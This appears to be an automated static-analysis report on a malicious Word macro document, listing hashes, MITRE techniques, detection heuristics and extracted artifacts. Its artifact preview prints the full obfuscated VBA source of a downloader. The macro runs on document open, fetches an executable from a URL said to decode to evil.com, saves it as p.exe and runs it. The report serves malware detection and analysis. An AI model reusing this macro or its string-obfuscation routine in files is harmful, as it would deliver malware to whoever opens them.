Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 58c010b607b681fa…

MALICIOUS

Office (OOXML)

149.9 KB Created: 2020-05-19 00:22:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2020-09-15
MD5: a1ba3b030212d549a8b9f607ee2fa027 SHA-1: d82c4937a1911ea94a5fe98c18f470ea15fd7f61 SHA-256: 58c010b607b681fa89f6d9495f44386ffdc5cc2c471c2d31f6e9643dff4a9283
298 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains a VBA macro that executes upon opening the document. This macro utilizes WScript.Shell and CreateObject to download a file from a hardcoded URL and save it to the user's public directory as 'p.exe'. The downloaded file is then executed, indicating a downloader or dropper functionality. The obfuscated URL was reconstructed to 'http://evil.com/payload.exe' and the saved filename to 'C:\Users\Public\p.exe'.

Heuristics 9

  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    CreateObject("WScript.Shell").Run FileName
  • VBA character-shift decoded Shell command critical OLE_VBA_ASC_CHR_SHIFT_SHELL
    VBA auto-exec macro stores an encoded command string, decodes it with a Mid/Asc/Chr character-shift loop, and passes the recovered text to Shell. This is a high-confidence command stager.
    Matched line in script
            For i = 1 To Len(strInput)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    stream_obj.write http_obj.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set http_obj = CreateObject("Microsoft.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Public Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    FileName = Environ(WeejWSBfukRWSWPbMfgYFzDcRKHOStQBDKrqnncfYERTRItgPzAGWDg("~�—š")) + "\" + WeejWSBfukRWSWPbMfgYFzDcRKHOStQBDKrqnncfYERTRItgPzAGWDg("p“–�˜‹—�X�¢�")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1353 bytes
SHA-256: b5fc198f1f0c0dc81f00f179cfde4194b35ece197fb4e55d9fe915399947495a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Dim http_obj
Dim stream_obj
Public Sub Document_Open()
Set http_obj = CreateObject("Microsoft.XMLHTTP")
Set stream_obj = CreateObject("ADODB.Stream")
URL = WeejWSBfukRWSWPbMfgYFzDcRKHOStQBDKrqnncfYERTRItgPzAGWDg("’žžšdYY�–ŸŒ�‹ŽŽ£X�™—Y•��žY�¡“�X�¢�")
FileName = Environ(WeejWSBfukRWSWPbMfgYFzDcRKHOStQBDKrqnncfYERTRItgPzAGWDg("~�—š")) + "\" + WeejWSBfukRWSWPbMfgYFzDcRKHOStQBDKrqnncfYERTRItgPzAGWDg("p“–�˜‹—�X�¢�")
http_obj.Open "GET", URL, False
http_obj.send
stream_obj.Type = 1
stream_obj.Open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FileName, 2
CreateObject("WScript.Shell").Run FileName
End Sub
Public Function WeejWSBfukRWSWPbMfgYFzDcRKHOStQBDKrqnncfYERTRItgPzAGWDg(strInput As String)
        Dim n As Integer, i As Integer
        n = 42
        For i = 1 To Len(strInput)
            Mid(strInput, i, 1) = Chr(Asc(Mid(strInput, i, 1)) - n)
        Next i
        WeejWSBfukRWSWPbMfgYFzDcRKHOStQBDKrqnncfYERTRItgPzAGWDg = strInput
    End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9216 bytes
SHA-256: 20a888b808a6500d7342eb0a5cfd1c6454a0502799b29c70efe23912f27adc1c

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